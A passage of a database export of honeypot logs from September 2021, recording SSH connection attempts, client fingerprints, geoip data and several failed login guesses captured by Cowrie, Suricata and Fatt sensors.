"t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	\N	\N
26134	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:11:42.013185+03	2021-09-20 14:15:12.875644+03	{"_id": "8AbnAnwBvYTbRNuEkB9Q", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "eventid": "cowrie.login.failed", "message": "login attempt [admin/dragon] failed", "session": "84cfb61ab228", "@version": "1", "password": "dragon", "username": "admin", "timestamp": "2021-09-20T11:11:42.013185Z", "@timestamp": "2021-09-20T11:11:42.013Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	\N	\N
26135	115.72.130.93	109.199.241.180	Cowrie	2021-09-20 14:11:42.058592+03	2021-09-20 14:15:12.876645+03	{"_id": "8QbnAnwBvYTbRNuEkB9Q", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["chacha20-poly1305@openssh.com", "aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc", "blowfish-cbc", "cast128-cbc", "arcfour256", "arcfour128", "arcfour"], "geoip": {"ip": "115.72.130.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "macCS": ["umac-64-etm@openssh.com", "umac-128-etm@openssh.com", "hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-md5-etm@openssh.com", "hmac-sha2-256-96-etm@openssh.com", "hmac-sha2-512-96-etm@openssh.com", "hmac-sha1-96-etm@openssh.com", "hmac-md5-96-etm@openssh.com", "umac-64@openssh.com", "umac-128@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1", "hmac-md5", "hmac-sha2-256-96", "hmac-sha2-512-96", "hmac-sha1-96", "hmac-md5-96"], "compCS": ["zlib@openssh.com", "zlib", "none"], "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "115.72.130.93", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "curve448-sha512", "ecdh-sha2-nistp521", "ecdh-sha2-nistp384", "ecdh-sha2-nistp256", "ecdh-sha2-1.3.132.0.10", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group-exchange-sha1", "diffie-hellman-group14-sha256", "diffie-hellman-group15-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group17-sha512", "diffie-hellman-group18-sha512", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "rsa2048-sha256", "rsa1024-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519-cert-v01@openssh.com", "ssh-ed448-cert-v01@openssh.com", "ecdsa-sha2-nistp521-cert-v01@openssh.com", "ecdsa-sha2-nistp384-cert-v01@openssh.com", "ecdsa-sha2-nistp256-cert-v01@openssh.com", "ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com", "ssh-rsa-cert-v01@openssh.com", "ssh-dss-cert-v01@openssh.com", "ssh-ed25519", "ssh-ed448", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "ecdsa-sha2-1.3.132.0.10", "rsa-sha2-256", "rsa-sha2-512", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: fda360b1b4f4d3455cb75c6e7edb1d11", "session": "e35fdf257f1d", "@version": "1", "timestamp": "2021-09-20T11:11:42.058592Z", "@timestamp": "2021-09-20T11:11:42.058Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}}	1	\N	cowrie.client.kex	\N	\N	\N
26136	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:11:42.08733+03	2021-09-20 14:15:12.877647+03	{"_id": "8gbnAnwBvYTbRNuEkB9Q", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "eventid": "cowrie.session.closed", "message": "Connection lost after 2 seconds", "session": "41b31117fdcd", "@version": "1", "duration": 2.9243993759155273, "timestamp": "2021-09-20T11:11:42.087330Z", "@timestamp": "2021-09-20T11:11:42.087Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	known attacker	\N
26137	116.105.211.46	109.199.241.180	Suricata	2021-09-20 14:11:43.031215+03	2021-09-20 14:15:12.878646+03	{"_id": "8wbnAnwBvYTbRNuEkh91", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "AsyncSSH_2.1.0"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "116.105.211.46", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "proto": "TCP", "src_ip": "116.105.211.46", "dest_ip": "192.168.20.116", "flow_id": 285005111231832, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 42682, "dest_port": 22, "timestamp": "2021-09-20T11:11:43.031215Z", "@timestamp": "2021-09-20T11:11:43.031Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	\N	\N
26192	218.92.0.190	109.199.241.180	Cowrie	2021-09-20 14:11:45.48345+03	2021-09-20 14:15:12.951645+03	{"_id": "LQbnAnwBvYTbRNuEnCAN", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "218.92.0.190", "asn": 4134, "as_org": "Chinanet", "latitude": 32.0617, "location": {"lat": 32.0617, "lon": 118.7778}, "timezone": "Asia/Shanghai", "longitude": 118.7778, "region_code": "JS", "region_name": "Jiangsu", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "218.92.0.190", "eventid": "cowrie.login.failed", "message": "login attempt [root/2] failed", "session": "ba9d8547508f", "@version": "1", "password": "2", "username": "root", "timestamp": "2021-09-20T11:11:45.483450Z", "@timestamp": "2021-09-20T11:11:45.483Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	known attacker	\N
26138	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:11:43.129135+03	2021-09-20 14:15:12.879645+03	{"_id": "9AbnAnwBvYTbRNuEkx-Y", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "116.105.211.46", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 49304, "timestamp": "2021-09-20T11:11:43.129135", "@timestamp": "2021-09-20T11:11:43.129Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
26139	116.105.211.46	109.199.241.180	Cowrie	2021-09-20 14:11:43.12399+03	2021-09-20 14:15:12.881646+03	{"_id": "9wbnAnwBvYTbRNuElB80", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.105.211.46", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "116.105.211.46", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 116.105.211.46:49304 (192.168.176.2:22) [session: 99579c1eed36]", "session": "99579c1eed36", "@version": "1", "protocol": "ssh", "src_port": 49304, "dest_port": 22, "timestamp": "2021-09-20T11:11:43.123990Z", "@timestamp": "2021-09-20T11:11:43.123Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	\N	\N
26140	116.105.211.46	109.199.241.180	Cowrie	2021-09-20 14:11:43.126993+03	2021-09-20 14:15:12.882645+03	{"_id": "-AbnAnwBvYTbRNuElB80", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.105.211.46", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "116.105.211.46", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-AsyncSSH_2.1.0'", "session": "99579c1eed36", "version": "b'SSH-2.0-AsyncSSH_2.1.0'", "@version": "1", "timestamp": "2021-09-20T11:11:43.126993Z", "@timestamp": "2021-09-20T11:11:43.126Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	\N	\N
26141	116.105.211.46	109.199.241.180	Fatt	2021-09-20 14:11:43.639181+03	2021-09-20 14:15:12.883646+03	{"_id": "_QbnAnwBvYTbRNuElx-B", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "116.105.211.46", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "src_ip": "116.105.211.46", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-ed25519-cert-v01@openssh.com,ssh-ed448-cert-v01@openssh.com,ecdsa-sha2-nistp521-cert-v01@openssh.com,ecdsa-sha2-nistp384-cert-v01@openssh.com,ecdsa-sha2-nistp256-cert-v01@openssh.com,ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com,ssh-rsa-cert-v01@openssh.com,ssh-dss-cert-v01@openssh.com,ssh-ed25519,ssh-ed448,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,ecdsa-sha2-1.3.132.0.10,rsa-sha2-256,rsa-sha2-512,ssh-rsa,ssh-dss", "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "ccacts": "zlib@openssh.com,zlib,none", "ccastc": "zlib@openssh.com,zlib,none", "ceacts": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "ceastc": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "client": "SSH-2.0-AsyncSSH_2.1.0", "cmacts": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "cmastc": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 45200, "dest_port": 22, "timestamp": "2021-09-20T11:11:43.639181", "@timestamp": "2021-09-20T11:11:43.639Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
26142	116.110.220.49	109.199.241.180	Cowrie	2021-09-20 14:11:44.081043+03	2021-09-20 14:15:12.884646+03	{"_id": "_wbnAnwBvYTbRNuEmB8e", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.110.220.49", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "116.110.220.49", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-AsyncSSH_2.1.0'", "session": "0f0ff7b1d7bc", "version": "b'SSH-2.0-AsyncSSH_2.1.0'", "@version": "1", "timestamp": "2021-09-20T11:11:44.081043Z", "@timestamp": "2021-09-20T11:11:44.081Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	\N	\N
41138	192.168.20.147	109.199.241.180	Suricata	2021-09-20 16:03:49.561846+03	2021-09-20 16:15:02.338747+03	{"_id": "MwZOA3wBvYTbRNuENY3T", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "alert": {"gid": 1, "rev": 2, "action": "allowed", "category": "Generic Protocol Command Decode", "severity": 3, "signature": "SURICATA IPv4 padding required ", "signature_id": 2200007}, "geoip": {}, "proto": "IGMP", "src_ip": "192.168.20.147", "stream": 0, "dest_ip": "224.0.0.22", "@version": "1", "in_iface": "enp5s0", "timestamp": "2021-09-20T13:03:49.561846Z", "@timestamp": "2021-09-20T13:03:49.561Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": ""}}	1	\N	\N	alert	\N	\N
26143	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:11:44.523392+03	2021-09-20 14:15:12.885645+03	{"_id": "CAbnAnwBvYTbRNuEmCAg", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 27.69.246.93:35852 (192.168.176.2:22) [session: b7fdd28058b6]", "session": "b7fdd28058b6", "@version": "1", "protocol": "ssh", "src_port": 35852, "dest_port": 22, "timestamp": "2021-09-20T11:11:44.523392Z", "@timestamp": "2021-09-20T11:11:44.523Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	\N	\N
26144	116.105.211.46	109.199.241.180	Cowrie	2021-09-20 14:11:43.639707+03	2021-09-20 14:15:12.886646+03	{"_id": "EgbnAnwBvYTbRNuEmCAg", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["chacha20-poly1305@openssh.com", "aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc", "blowfish-cbc", "cast128-cbc", "arcfour256", "arcfour128", "arcfour"], "geoip": {"ip": "116.105.211.46", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "macCS": ["umac-64-etm@openssh.com", "umac-128-etm@openssh.com", "hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-md5-etm@openssh.com", "hmac-sha2-256-96-etm@openssh.com", "hmac-sha2-512-96-etm@openssh.com", "hmac-sha1-96-etm@openssh.com", "hmac-md5-96-etm@openssh.com", "umac-64@openssh.com", "umac-128@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1", "hmac-md5", "hmac-sha2-256-96", "hmac-sha2-512-96", "hmac-sha1-96", "hmac-md5-96"], "compCS": ["zlib@openssh.com", "zlib", "none"], "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "116.105.211.46", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "curve448-sha512", "ecdh-sha2-nistp521", "ecdh-sha2-nistp384", "ecdh-sha2-nistp256", "ecdh-sha2-1.3.132.0.10", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group-exchange-sha1", "diffie-hellman-group14-sha256", "diffie-hellman-group15-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group17-sha512", "diffie-hellman-group18-sha512", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "rsa2048-sha256", "rsa1024-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519-cert-v01@openssh.com", "ssh-ed448-cert-v01@openssh.com", "ecdsa-sha2-nistp521-cert-v01@openssh.com", "ecdsa-sha2-nistp384-cert-v01@openssh.com", "ecdsa-sha2-nistp256-cert-v01@openssh.com", "ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com", "ssh-rsa-cert-v01@openssh.com", "ssh-dss-cert-v01@openssh.com", "ssh-ed25519", "ssh-ed448", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "ecdsa-sha2-1.3.132.0.10", "rsa-sha2-256", "rsa-sha2-512", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: fda360b1b4f4d3455cb75c6e7edb1d11", "session": "3325e692de3e", "@version": "1", "timestamp": "2021-09-20T11:11:43.639707Z", "@timestamp": "2021-09-20T11:11:43.639Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}}	1	\N	cowrie.client.kex	\N	\N	\N
26145	115.72.130.93	109.199.241.180	Cowrie	2021-09-20 14:11:44.312992+03	2021-09-20 14:15:12.888646+03	{"_id": "EwbnAnwBvYTbRNuEmCAg", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "115.72.130.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "115.72.130.93", "eventid": "cowrie.login.failed", "message": "login attempt [root/welc0me] failed", "session": "e35fdf257f1d", "@version": "1", "password": "welc0me", "username": "root", "timestamp": "2021-09-20T11:11:44.312992Z", "@timestamp": "2021-09-20T11:11:44.312Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	\N	\N
